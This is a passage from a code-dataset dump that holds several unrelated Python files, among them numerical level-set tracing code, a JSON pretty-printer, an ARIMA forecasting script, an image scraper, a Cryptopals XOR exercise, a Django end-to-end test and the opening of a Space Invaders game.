self._olimdd.interior_olim.U[imax, jmax]\n U0 = (1 - tx)*U00 + tx*U10\n U1 = (1 - tx)*U01 + tx*U11\n return (1 - ty)*U0 + ty*U1\n\n def __call__(self, *p):\n if self._olimdd.surf.phi(*p) <= 0:\n return np.nan\n if any(\n is_boundary(self._olimdd.interior_olim, ind)\n for ind in self._olimdd.grid.get_nearest_inds(p)\n ):\n return self._interp_boundary_layer(*p)\n else:\n return self._interp_interior(*p)\n\n def get_bilinear_interpolator(self):\n return np.vectorize(self.BilinearInterpolator(self))\n\n def get_surface_points(self):\n phi = self.phi(*self.boundary_layer_points.T)\n inds, = np.where(np.abs(phi) < _tol)\n return self.boundary_layer_points[inds, :]\n\n def get_diffraction_sources(self):\n if not self.shadow:\n raise Exception('''calling `get_diffraction_sources` only makes\nsense when solving for the numerical shadow''')\n # First, grab the vertices from the underlying surface and\n # determine which lie outside of the shadow zone\n vertices = get_vertices(self.surf)\n nn = self.get_nearest_neighbor_interpolator(ignore_surface=True)\n shadow = nn(*vertices.T)\n inds_light = np.where(shadow == 0)[0]\n diff_srcs = vertices[inds_light, :]\n # We also need to know the indices of the corresponding points\n # in `boundary_layer_points`. This is an awful way to do this,\n # but we can get it going, least\n diff_inds = []\n for src in diff_srcs:\n error = np.abs(self.boundary_layer_points - src)\n inds = np.where(np.all(error < _tol, axis=1))[0]\n if inds.size != 1:\n raise Exception('inconsistent vertices')\n ind = inds[0]\n diff_inds.append(ind)\n diff_inds = np.array(diff_inds)\n return diff_srcs, diff_inds\n\n def _get_parent_for_interior_ind(self, ind):\n U, ind0, ind1, lam = get_minimizer(self.interior_olim, ind)\n if ind in self.interior_to_boundary_layer:\n ind_ = self.interior_to_boundary_layer[ind]\n U_,ind0_,ind1_,lam_ = get_minimizer(self.boundary_layer_olim, ind_)\n if U_ < U:\n return ind0_, ind1_, lam_\n return ind0, ind1, lam\n\n def _get_parent_for_boundary_layer_ind(self, ind):\n U, ind0, ind1, lam = get_minimizer(self.boundary_layer_olim, ind)\n if ind in self.boundary_layer_to_interior:\n ind_ = self.boundary_layer_to_interior[ind]\n U_, ind0_, ind1_, lam_ = get_minimizer(self.interior_olim, ind_)\n if U_ < U:\n return ind0_, ind1_, lam_\n return ind0, ind1, lam\n\n # TODO: kind of a silly name, but we need to distinguish this somehow\n # TODO: what distinguishes this from regular old `_get_parent`?\n def _get_parent_ind_for_bilinear_vertex(self, x):\n ind0, ind1, lam = self._get_parent(x)\n if ind0 is None:\n return None\n if ind1 is None:\n assert lam is None\n if isinstance(ind0, int):\n ind = self.grid.get_ind(self.boundary_layer_olim.nodes[ind0])\n else:\n if ind0 is None:\n import pdb; pdb.set_trace()\n ind = ind0 if isinstance(ind0, tuple) else tuple(ind0)\n else:\n if isinstance(ind0, int):\n assert isinstance(ind1, int)\n assert lam is not None\n ind0 = self.grid.get_ind(self.boundary_layer_olim.nodes[ind0])\n ind1 = self.grid.get_ind(self.boundary_layer_olim.nodes[ind1])\n ind = tuple((1 - lam)*np.array(ind0) + lam*np.array(ind1))\n if not (self.phi(*self.grid[ind]) + _tol >= 0):\n import pdb; pdb.set_trace()\n assert self.phi(*self.grid[ind]) + _tol >= 0\n return ind\n\n def _get_parent_partially_grid_aligned(self, x, inds=None, lam=None):\n if self.ndim != 2:\n raise Exception('''\nTODO: implement `_get_parent_partially_grid_aligned in 3D''')\n\n if inds is None:\n x0, x1, lam = self.grid.get_bilinear_combination(*x)\n else:\n assert lam is not None\n assert len(inds) == 2*(self.ndim - 1) # TODO: I think?\n if isinstance(inds[0], int):\n assert all(isinstance(ind, int) for ind in inds)\n x0 = self.boundary_layer_points[inds[0]]\n x1 = self.boundary_layer_points[inds[1]]\n elif isinstance(inds[0], tuple):\n assert all(isinstance(ind, tuple) for ind in inds)\n x0 = self.grid[inds[0]]\n x1 = self.grid[inds[1]]\n else:\n raise Exception('inds of invalid type %s' % type(inds[0]))\n\n # If x0 or x1 are inside the boundary surface, then we use a\n # rootfinder to \"project\" that point onto the surface\n phi0, phi1 = self.phi(*x0), self.phi(*x1)\n if phi1 + _tol < 0:\n assert phi0 >= 0\n phi0, phi1 = phi1, phi0\n x0, x1 = x1, x0\n lam = 1 - lam\n if phi0 + _tol < 0:\n f = lambda t: self.phi(*((1 - t)*x0 + t*x1))\n t = brentq(f, 0, 1)\n assert 0 < t and t < 1\n x0 = (1 - t)*x0 + t*x1\n\n return (\n self._get_parent_ind_for_bilinear_vertex(x0),\n self._get_parent_ind_for_bilinear_vertex(x1),\n lam\n )\n\n def _get_surface_convex_combination(self, x):\n '''For a point `x`, which we assume lies somewhere on the surface\ndefined by `self.phi`, find the nearest surface points which can serve\nas vertices in a convex combination expressing `x` (i.e., there are\nsome convex coefficients T and surface points P such that x = P@T).\n\n '''\n r = (1.5 + _tol)*self.h\n inds = self._boundary_layer_kdtree.query_ball_point(x, r, np.inf)\n points = self.boundary_layer_points[inds, :]\n pairs, dists, lams = [], [], []\n for i, p_i in enumerate(points):\n if abs(self.phi(*p_i)) > _tol:\n continue\n for j in range(i):\n p_j = points[j]\n if abs(self.phi(*p_j)) > _tol:\n continue\n dp = p_j - p_i\n if np.linalg.norm(dp) < _tol:\n raise Exception('bad stencil')\n nonzero = np.where(abs(dp) > _tol)[0]\n ts = (x - p_i)[nonzero]/dp[nonzero]\n if len(ts) > 1 and any(\n abs(t - ts[0]) > np.sqrt(_tol) for t in ts[1:]\n ):\n continue\n t = ts[0]\n if t < 0 or t > 1:\n continue\n pairs.append((i, j))\n dists.append(np.linalg.norm(dp))\n lams.append(t)\n if len(dists) > 0:\n argmin = np.argmin(dists)\n argpair = pairs[argmin]\n return [inds[i] for i in argpair], lams[argmin]\n else:\n return [], None\n\n def _get_parent(self, x, x_prev=None):\n # First, check and see if `x` corresponds to a source point on\n # the surface\n d, ind_ = self._boundary_layer_kdtree.query(x)\n if d < _tol and ind_ in self.boundary_layer_olim.srcs:\n return None, None, None\n\n # TODO: comment case\n if d < _tol:\n return self._get_parent_for_boundary_layer_ind(ind_)\n\n # TODO: comment case\n if self.grid.is_grid_aligned(*x):\n ind = self.grid.get_nearest_ind(*x)\n if get_state(self.interior_olim, ind) != pyolim.State.BOUNDARY:\n return self._get_parent_for_interior_ind(ind)\n else:\n import pdb; pdb.set_trace()\n raise Exception('trying to get parent for boundary node')\n\n # TODO: comment case\n if abs(self.phi(*x)) < _tol:\n inds, lam = self._get_surface_convex_combination(x)\n if all(ind in self.boundary_layer_olim.srcs for ind in inds):\n return None, None, None\n else:\n return self._get_parent_partially_grid_aligned(\n x, inds=inds, lam=lam\n )\n\n # TODO: comment case\n if self.grid.is_partially_grid_aligned(*x):\n return self._get_parent_partially_grid_aligned(x)\n\n # TODO: comment case\n if x_prev is not None:\n x = self.grid.shoot_onto_first_grid_line(x_prev, x)\n return self._get_parent(x, x_prev)\n\n raise Exception(\n '''TODO: add support for points which are neither partially\n grid-aligned nor coincident with boundary layer points''')\n\n def _shoot_point_onto_surface(self, x0, x1):\n points = [\n self.boundary_layer_points[ind]\n for ind in self._boundary_layer_kdtree.query_ball_point(\n x1, (1 + _tol)*self.h, np.inf\n )\n ]\n dx = x1 - x0\n f = lambda t: self.phi(*(x0 + t*dx))\n f0, f2 = f(_tol), f(2)\n if f0 <= 0:\n import pdb; pdb.set_trace()\n assert f0 > 0\n if f2 <= 0 and any(abs(self.phi(*p)) < _tol for p in points):\n t = brentq(f, _tol, 2)\n x = x0 + t*dx\n assert abs(self.phi(*x)) < _tol\n return x\n\n def get_parent(self, x, x_prev=None):\n ind0, ind1, lam = self._get_parent(x, x_prev)\n if ind0 is None:\n return\n elif ind1 is None:\n if isinstance(ind0, tuple):\n xp = self.grid[ind0]\n else:\n xp = self.boundary_layer_olim.nodes[ind0]\n else:\n if isinstance(ind0, tuple):\n x0, x1 = self.grid[ind0], self.grid[ind1]\n xp = (1 - lam)*x0 + lam*x1\n else:\n x0 = self.boundary_layer_olim.nodes[ind0]\n x1 = self.boundary_layer_olim.nodes[ind1]\n xp = (1 - lam)*x0 + lam*x1\n # Some corrections which are helpful\n if self.phi(*x) > _tol:\n xp_shoot = self._shoot_point_onto_surface(x, xp)\n if xp_shoot is not None:\n xp = xp_shoot\n elif self.grid.is_subgrid(*xp) and abs(self.phi(*xp)) > _tol:\n xp = self.grid.shoot_onto_first_grid_line(x, xp)\n # Sometimes we'll *just* miss the surface obliquely---we want\n # to ensure that we \"numerically\" hit it if we can\n try:\n d, ind = self._boundary_layer_kdtree.query(xp)\n except:\n import pdb; pdb.set_trace()\n if d < self.h**2:\n xp_new = self.boundary_layer_points[ind]\n # Don't want to accidentally get stuck on the boundary\n if np.linalg.norm(xp_new - x) > _tol:\n xp = xp_new\n assert not isinstance(xp, tuple)\n return tuple(xp)\n\n def trace_characteristic(self, x, debug=False):\n phi = self.phi(*x)\n if phi + _tol < 0:\n raise Exception(\"%s does not lie in domain (phi = %g)\" % (x, phi))\n if not isinstance(x, tuple):\n x = tuple(x)\n if debug:\n print(x)\n xs = [x]\n x = self.get_parent(xs[-1], xs[-2] if len(xs) > 1 else None)\n while x is not None:\n if debug:\n print(x)\n xs.append(x)\n x = self.get_parent(xs[-1], xs[-2] if len(xs) > 1 else None)\n return np.array(xs)\n\n def get_bl_ind_from_vert_ind(self, ind):\n return self._vert_ind_to_bl_ind[ind]","sub_path":"dd.py","file_name":"dd.py","file_ext":"py","file_size_in_byte":40515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"10976601","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport os\n\n\ndef load_data(filepath):\n if not os.path.exists(filepath):\n return None\n\n with open(filepath) as json_file:\n return json.load(json_file)\n\n\ndef pretty_print_json(data, indent=4):\n return json.dumps(data, indent=indent, ensure_ascii=False)\n\n\ndef main():\n description = \"Pretty print for JSON\"\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument(\n \"-f\", \"--filepath\",\n required=True,\n help=\"Input file\"\n )\n parser.add_argument(\n \"-i\", \"--indent\",\n help=\"Indentation size. Default: 4\",\n default=4,\n type=int\n )\n\n args = parser.parse_args()\n\n data = load_data(args.filepath)\n print(\n pretty_print_json(data, args.indent)\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pprint_json.py","file_name":"pprint_json.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"652708262","text":"import datetime\nfrom app import db\nfrom app.model.usermodel import User\n\nclass UserDao:\n @staticmethod\n def save_user(user):\n db.session.add(user)\n db.session.commit()\n db.session.refresh(user)\n return user\n\n @staticmethod\n def update_user(user):\n existing_user = UserDao.get_by_id(user.id)\n if user.firstname:\n existing_user.fistname = user.firstname\n \n if user.lastname:\n existing_user.lastname = user.lastname\n\n if user.email:\n existing_user.email = user.email\n\n if user.street:\n existing_user.street = user.street\n\n if user.city:\n existing_user.city = user.city\n\n if user.state:\n existing_user.state = user.state \n\n if user.zipcode:\n existing_user.zipcode = user.zipcode \n \n db.session.commit()\n db.session.refresh(existing_user)\n return existing_user \n\n @staticmethod\n def get_all():\n return User.query.all()\n\n @staticmethod\n def get_by_email(email_data):\n return User.query.filter_by(email=email_data).first() \n","sub_path":"app/dao/userdao.py","file_name":"userdao.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"343569376","text":"\"\"\"\nAuthor: Jing (https://github.com/gnijuohz)\n\nFlatten Binary Tree to Linked List: https://oj.leetcode.com/problems/flatten-binary-tree-to-linked-list \n\n\nGiven a binary tree, flatten it to a linked list in-place.\n\n\n\nFor example,\nGiven\n\n 1\n / \\\n 2 5\n / \\ \\\n 3 4 6\n\n\n\nThe flattened tree should look like:\n\n 1\n \\\n 2\n \\\n 3\n \\\n 4\n \\\n 5\n \\\n 6\n\n\nclick to show hints.\n\nHints:\nIf you notice carefully in the flattened tree, each node's right child points to the next node of a pre-order traversal. \nTags\nTree, Depth-first Search \n\"\"\"\n\n# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return nothing, do it in place\n def flatten(self, root):\n while root:\n if root.left:\n node = root.left\n while node.right:\n node = node.right\n node.right = root.right\n root.right = root.left\n root.left = None\n root = root.right","sub_path":"solutions/Flatten-Binary-Tree-to-Linked-List.py","file_name":"Flatten-Binary-Tree-to-Linked-List.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"259262769","text":"from pandas import read_csv\nfrom pandas import datetime\nfrom matplotlib import pyplot\n\ndef parser(x):\n\treturn datetime.strptime('202'+x, '%Y-%m-%d')\n \nseries = read_csv('https://raw.githubusercontent.com/ll-cooool-j/DS-Assignment/main/Datasets/Datasets%20for%20ARIMA%20(Only%20Date%20%2B%20Infected)/Vietnam%20(Date%20%2B%20Infected).csv', header=0, parse_dates=[0], index_col=0, squeeze=True, date_parser=parser)\nprint(series.head())\nseries.plot()\npyplot.show()\n\nseries.max()\n\nseries.min()\n\nfrom matplotlib import pyplot\nfrom pandas.plotting import autocorrelation_plot\nautocorrelation_plot(series)\npyplot.show()\n\n# grid search ARIMA parameters for time series\nimport warnings\nimport pandas as pd\nfrom math import sqrt\nfrom pandas import read_csv\nfrom pandas import datetime\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom sklearn.metrics import mean_squared_error\n\n# evaluate an ARIMA model for a given order (p,d,q)\ndef evaluate_arima_model(X, arima_order):\n X = X.astype('float64')\n # prepare training dataset\n train_size= int(len(X) * 0.2)\n point = int(len(X) * 0.8)\n train, test = X[0:train_size], X[train_size:]\n history = [x for x in train]\n\n # make predictions\n predictions = list()\n for t in range(len(test)):\n model = ARIMA(history, order=arima_order)\n model_fit = model.fit()\n yhat = model_fit.forecast()[0]\n predictions.append(yhat)\n history.append(test[t])\n # calculate out of sample error\n rmse = sqrt(mean_squared_error(test, predictions))\n return rmse\n \n# evaluate combinations of p, d and q values for an ARIMA model\ndef evaluate_models(dataset, p_values, d_values, q_values):\n\tdataset = dataset.astype('float32')\n\tbest_score, best_cfg = float(\"inf\"), None\n\tfor p in p_values:\n\t\tfor d in d_values:\n\t\t\tfor q in q_values:\n\t\t\t\torder = (p,d,q)\n\t\t\t\ttry:\n\t\t\t\t\trmse = evaluate_arima_model(dataset, order)\n\t\t\t\t\tif rmse < best_score:\n\t\t\t\t\t\tbest_score, best_cfg = rmse, order\n\t\t\t\t\tprint('ARIMA%s RMSE=%.3f' % (order,rmse))\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\tprint('Best ARIMA%s RMSE=%.3f' % (best_cfg, best_score))\n \n# load dataset\nidx = pd.date_range(\"2020-07-01\", periods=335)\nseries.index = idx.to_period()\n# evaluate parameters\np_values = range(0, 5)\nd_values = range(0, 3)\nq_values = range(0, 3)\nwarnings.filterwarnings(\"ignore\")\nevaluate_models(series.values, p_values, d_values, q_values)\n\n# fit an ARIMA model and plot residual errors\nfrom pandas import DataFrame\n# fit model\nseries = series.astype('float64')\nmodel = ARIMA(series, order=(3,2,0))\nmodel_fit = model.fit()\n# summary of fit model\nprint(model_fit.summary())\n# line plot of residuals\nresiduals = DataFrame(model_fit.resid)\nresiduals.plot()\npyplot.show()\n# density plot of residuals\nresiduals.plot(kind='kde')\npyplot.show()\n# summary stats of residuals\nprint(residuals.describe())\n\n# evaluate an ARIMA model using a walk-forward validation\nfrom pandas import read_csv\nfrom pandas import datetime\nfrom matplotlib import pyplot\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nimport numpy as np\nimport itertools\nfrom itertools import chain\nX = series.values.astype('float64')\n# prepare training dataset\ntrain_size= int(len(X) * 0.2)\npoint = int(len(X) * 0.8)\ntrain, test = X[0:train_size], X[point:]\nhistory = [x for x in train]\npredictions = list()\n# walk-forward validation\nfor t in range(len(test)):\n\tmodel = ARIMA(history, order=(3,2,0))\n\tmodel_fit = model.fit()\n\toutput = model_fit.forecast()\n\tyhat = output[0]\n\tpredictions.append(yhat)\n\tobs = test[t]\n\thistory.append(obs)\n\tprint('predicted=%f, expected=%f' % (yhat, obs))\n# evaluate forecasts\nrmse = sqrt(mean_squared_error(test, predictions))\nprint('Test RMSE: %.3f' % rmse)\n# plot forecasts against actual outcomes\npyplot.plot(test)\npyplot.plot(predictions, color='red')\npyplot.show()","sub_path":"Models/Version 3/ARIMA/vietnam.py","file_name":"vietnam.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"281157631","text":"from db import get_connection, get_from_datamaster\nfrom db.tables import traits\n\nrequirements = [traits]\n\n\ndef build():\n datamaster = get_from_datamaster(\"EquipTraits.csv\")\n trait_rows_with_elements_by_text = {\n row[\"Text\"]: row\n for row in datamaster\n if row[\"TraitPropertyName\"] == \"Element\"}\n\n with get_connection() as con:\n cur = con.cursor()\n\n cur.execute(\"SELECT ElementName, Id FROM Elements\")\n element_ids_by_name = {cur_row[0]: cur_row[1]\n for cur_row in cur.fetchall()}\n\n cur.execute(\"DROP TABLE IF EXISTS TraitElements\")\n cur.execute(\"CREATE TABLE TraitElements(\"\n \"Id INTEGER PRIMARY KEY AUTOINCREMENT, \"\n \"Trait INTEGER, \"\n \"Element INTEGER, \"\n \"FOREIGN KEY(Trait) REFERENCES Traits(Id) ,\"\n \"FOREIGN KEY(Element) REFERENCES Elements(Id))\")\n\n for trait in traits.read():\n text = trait[\"text\"]\n trait_row_from_datamaster = trait_rows_with_elements_by_text.get(text)\n if trait_row_from_datamaster:\n trait_id = trait[\"id\"]\n element_id = element_ids_by_name[\n trait_row_from_datamaster[\n \"TraitPropertyValue\"]]\n cur.execute(\"INSERT INTO TraitElements (\"\n \"Trait, Element) \"\n \"VALUES (\\\"{}\\\", \\\"{}\\\")\".format(\n trait_id, element_id))\n","sub_path":"db/tables/trait_elements.py","file_name":"trait_elements.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"335734455","text":"import requests\nfrom urllib.parse import urlencode\nfrom requests.exceptions import RequestException\nimport json\nimport pymongo\nfrom bs4 import BeautifulSoup\nimport re\nfrom config import *\nimport os\nfrom hashlib import md5\nfrom multiprocessing import Pool\n\nclient = pymongo.MongoClient(MONGO_URL)\ndb = client[MONGO_DB]\n\ndef get_image_index(offset,keyword):\n data = {\n 'offset': offset,\n 'format': 'json',\n 'keyword': keyword,\n 'autoload': 'true',\n 'count': '20',\n 'cur_tab': '3',\n 'from': 'search_tab'\n }\n url = 'https://www.toutiao.com/search_content/?' + urlencode(data)\n print(url)\n try:\n response = requests.get(url)\n if response.status_code == 200:\n return response.text\n return None\n except RequestException:\n print('解析出错')\n return None\n\ndef parse_image_url(html):\n data = json.loads(html)\n if data and 'data' in data.keys():\n for item in data.get('data'):\n yield item.get('article_url')\n\ndef get_image_detail(url):\n try:\n response = requests.get(url)\n if response.status_code == 200:\n return response.text\n return None\n except RequestException:\n print('请求详情页解析出错')\n return None\n\ndef parse_page_detail(html,url):\n soup = BeautifulSoup(html,'lxml')\n title = soup.select('title')[0].get_text()\n image_pattern = re.compile('gallery: JSON.parse\\((.*?)\\)',re.S)\n result = re.search(image_pattern, html)\n if result:\n res = json.loads(json.loads(result.group(1)))\n if res and 'sub_images' in res:\n sub_images = res.get('sub_images')\n images = [ item.get('url') for item in sub_images]\n return {\n 'title': title,\n 'url': url,\n 'images': images\n }\ndef save_to_mongo(result):\n if db[MONGO_TABLE].insert(result):\n print('存储到mongoDB',result)\n return True\n return False\n\n\n\ndef save_image(url):\n print('正在下载', url)\n try:\n response = requests.get(url)\n if response.status_code == 200:\n content = response.content\n except RequestException:\n print('下载图片出错', url)\n file_path = '{0}/{1}.{2}'.format(os.getcwd(),md5(content).hexdigest(),'jpg')\n if not os.path.exists(file_path):\n with open(file_path,'wb') as f:\n f.write(content)\n f.close()\n\ndef main(offset):\n html = get_image_index(offset, '街拍')\n for url in parse_image_url(html):\n detail = get_image_detail(url)\n if detail:\n result = parse_page_detail(detail, url)\n if result:\n save_to_mongo(result)\n for item in result['images']:\n save_image(item)\n\n\nif __name__ == '__main__':\n groups = [x*20 for x in range(GROUP_START,GROUP_END)]\n pool = Pool()\n pool.map(main,groups)\n \n","sub_path":"jinri.py","file_name":"jinri.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"42275508","text":"# Set 1 Challenge 3\n# Single-byte XOR cipher\n\nfrom MyCrypto import MyCrypto\n\nimport binascii\n\nmcrypt = MyCrypto()\n\n# Given string\ninputString = \"1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736\"\n# Convert string to bytes object\nba = binascii.unhexlify(inputString)\n\n# Initialize loop variables\nhighestScore = 0\nscoreIndex = 0\nhighestBytes = \"\"\nfor x in range(256):\n\t# Xor the byte array with a byte between 0-256\n\toutputBytes = mcrypt.singleByteXor(ba, bytes([x]))\n\t# Calculate a english-language \"score\" for the string. Function assumes\n\t# This byte array is ascii encoded.\n\tscore = mcrypt.scoreBytesAsAscii(outputBytes)\n\tif score > highestScore:\n\t\thighestScore = score\n\t\tscoreIndex = x\n\t\thighestBytes = outputBytes\n\n# Print results\nprint(\"Single byte with best score: 0x%x\" % scoreIndex)\nprint(\"Resulting Bytes: %s\" % highestBytes)\n","sub_path":"py/solutions/challenge03.py","file_name":"challenge03.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"256303164","text":"import glob\nimport json\nimport requests\nimport shutil\nimport time\n\nfrom datetime import timedelta, datetime\nfrom django.test import TransactionTestCase, tag\nfrom django.utils import timezone\nfrom unittest.mock import patch, Mock\nfrom test.support import EnvironmentVarGuard # Python >=3\n\nfrom data_refinery_common.models import (\n Organism,\n ComputationalResult,\n ComputationalResultAnnotation,\n ComputedFile,\n DownloaderJob,\n DownloaderJobOriginalFileAssociation,\n Experiment,\n ExperimentAnnotation,\n ExperimentSampleAssociation,\n OriginalFile,\n OriginalFileSampleAssociation,\n ProcessorJob,\n ProcessorJobOriginalFileAssociation,\n Sample,\n SampleAnnotation,\n SampleComputedFileAssociation,\n SampleResultAssociation,\n SurveyJob,\n SurveyJobKeyValue,\n)\nfrom data_refinery_common.utils import get_env_variable\nfrom data_refinery_foreman.surveyor import surveyor, utils\nfrom data_refinery_foreman.surveyor.management.commands.unsurvey import purge_experiment\n\n# Import and set logger\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\nLOCAL_ROOT_DIR = get_env_variable(\"LOCAL_ROOT_DIR\", \"/home/user/data_store\")\nLOOP_TIME = 5 # seconds\nMAX_WAIT_TIME = timedelta(minutes=15)\n\ndef wait_for_job(job, job_class: type, start_time: datetime):\n \"\"\"Monitors the `job_class` table for when `job` is done.\"\"\"\n job = job_class.objects.filter(id=job.id).get()\n while job.success is None and timezone.now() - start_time < MAX_WAIT_TIME:\n logger.info(\"Still polling the %s.\",\n job_class.__name__)\n time.sleep(LOOP_TIME)\n job = job_class.objects.filter(id=job.id).get()\n\n if timezone.now() - start_time > MAX_WAIT_TIME:\n logger.error(\"%s job timed out!\", job_class.__name__)\n\n return job\n\n\n# TransactionTestCase makes database calls complete before the test\n# ends. Otherwise the workers wouldn't actually be able to find the\n# job in the database because it'd be stuck in a transaction.\nclass NoOpEndToEndTestCase(TransactionTestCase):\n @tag(\"slow\")\n def test_no_op(self):\n \"\"\"Survey, download, then process an experiment we know is NO_OP.\"\"\"\n # Clear out pre-existing work dirs so there's no conflicts:\n\n self.env = EnvironmentVarGuard()\n self.env.set('RUNING_IN_CLOUD', 'False')\n with self.env:\n for work_dir in glob.glob(LOCAL_ROOT_DIR + \"/processor_job_*\"):\n shutil.rmtree(work_dir)\n\n # Make sure there are no already existing jobs we might poll for unsuccessfully.\n DownloaderJobOriginalFileAssociation.objects.all().delete()\n DownloaderJob.objects.all().delete()\n ProcessorJobOriginalFileAssociation.objects.all().delete()\n ProcessorJob.objects.all().delete()\n\n # Prevent a call being made to NCBI's API to determine\n # organism name/id.\n organism = Organism(name=\"HOMO_SAPIENS\", taxonomy_id=9606, is_scientific_name=True)\n organism.save()\n\n accession_code = \"E-GEOD-3303\"\n survey_job = surveyor.survey_experiment(accession_code, \"ARRAY_EXPRESS\")\n\n self.assertTrue(survey_job.success)\n\n downloader_jobs = DownloaderJob.objects.all()\n self.assertGreater(downloader_jobs.count(), 0)\n\n logger.info(\"Survey Job finished, waiting for Downloader Jobs to complete.\")\n start_time = timezone.now()\n for downloader_job in downloader_jobs:\n downloader_job = wait_for_job(downloader_job, DownloaderJob, start_time)\n self.assertTrue(downloader_job.success)\n\n processor_jobs = ProcessorJob.objects.all()\n self.assertGreater(processor_jobs.count(), 0)\n\n logger.info(\"Downloader Jobs finished, waiting for processor Jobs to complete.\")\n start_time = timezone.now()\n for processor_job in processor_jobs:\n processor_job = wait_for_job(processor_job, ProcessorJob, start_time)\n self.assertTrue(processor_job.success)\n\n # Test that the unsurveyor deletes all objects related to the experiment\n purge_experiment(accession_code)\n\n self.assertEqual(Experiment.objects.all().count(), 0)\n self.assertEqual(ExperimentAnnotation.objects.all().count(), 0)\n self.assertEqual(ExperimentSampleAssociation.objects.all().count(), 0)\n self.assertEqual(Sample.objects.all().count(), 0)\n self.assertEqual(SampleAnnotation.objects.all().count(), 0)\n self.assertEqual(OriginalFile.objects.all().count(), 0)\n self.assertEqual(OriginalFileSampleAssociation.objects.all().count(), 0)\n self.assertEqual(SampleResultAssociation.objects.all().count(), 0)\n self.assertEqual(ComputationalResult.objects.all().count(), 0)\n self.assertEqual(ComputationalResultAnnotation.objects.all().count(), 0)\n self.assertEqual(SampleComputedFileAssociation.objects.all().count(), 0)\n self.assertEqual(ComputedFile.objects.all().count(), 0)\n self.assertEqual(DownloaderJob.objects.all().count(), 0)\n self.assertEqual(DownloaderJobOriginalFileAssociation.objects.all().count(), 0)\n self.assertEqual(ProcessorJob.objects.all().count(), 0)\n self.assertEqual(ProcessorJobOriginalFileAssociation.objects.all().count(), 0)\n","sub_path":"foreman/data_refinery_foreman/surveyor/test_end_to_end.py","file_name":"test_end_to_end.py","file_ext":"py","file_size_in_byte":5473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"161394420","text":"import itertools\nimport math\n\n\ndef issquare(n):\n if int(math.sqrt(n)) * int(math.sqrt(n)) == n:\n return True\n else:\n return False\n\n\ndef isvalid(l):\n temp = []\n for i in range(len(l) - 1):\n temp.append(int(l[i]) + int(l[i+1]))\n\n for i in range(len(temp)):\n if not issquare(temp[i]):\n return False\n return True\n\n\nl = input().split(',')\n\nvalids = list(itertools.permutations(l))\ns = []\n\nfor i in range(len(valids)):\n if not valids[i] in s:\n s.append(valids[i])\n\nl1 = []\nfor i in range(len(s)):\n if isvalid(s[i]):\n l1.append(s[i])\n\nprint(len(l1))\n\n\n\n\n\n\n","sub_path":"Code/CodeRecords/2360/60691/274040.py","file_name":"274040.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"525960728","text":"def bubble_sort(A):\n \"\"\"\n Sort sequence of numbers by swapping adjacent elements out of order.\n\n Parameters\n ----------\n A : array-like of shape (n.)\n Sequence of numbers.\n \n Returns\n -------\n A : array-like of shape (n,)\n Sorted sequence of numbers.\n \"\"\"\n # Loop through array ending at 2nd to last element.\n for i in range(len(A) - 1):\n\n # For each element loop backwards through array.\n for j in range(len(A) - 1, i, -1):\n\n # Check whether adjacent elements are out of order.\n if A[j] < A[j - 1]:\n\n # Swap elements.\n A[j], A[j - 1] = A[j - 1], A[j]\n\n return A","sub_path":"algos/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"406580899","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 22 17:00:55 2020\n\n@author: prudh\n\"\"\"\n\nimport pygame\nimport random\nimport math\nimport os\nimport neat\nfrom pygame import mixer\nimport time\nimport visualize\nimport pickle\nimport threading\n\n\n\n#Initializing pygame\npygame.init()\n\n#initializing the screen\nscreen = pygame.display.set_mode((800,600))\n\n#Titile & Icon\npygame.display.set_caption(\"Space Invaders\")\nicon = pygame.image.load(\"alien.png\")\npygame.display.set_icon(icon)\n\n#score\nscore_value = 0\nfont = pygame.font.Font('freesansbold.ttf',45)\n\ntextX = 300\ntextY = 20\n\ngame_over = pygame.font.Font('freesansbold.ttf',65)\n\ndef display_font(x,y):\n score = font.render(\"Score:\" + str(score_value),True,(255,255,255))\n screen.blit(score,(x,y))\n \ndef display_gameover():\n over = game_over.render(\"Game Over\",True,(255,255,255))\n screen.blit(over,(250,280))\n\n#Background\nbackground = pygame.image.load(\"background.png\")\n\n#Background sound\n#mixer.music.load(\"background.wav\")\n#mixer.music.play(-1)\n\n#player\nplayerimg = pygame.image.load(\"space-invaders.png\")\nplayerimg = pygame.transform.scale(playerimg, (45, 45))\n\nplayerX = 350\nplayerY = 500\nplayerX_change = 0\n\ndef player(x,y):\n 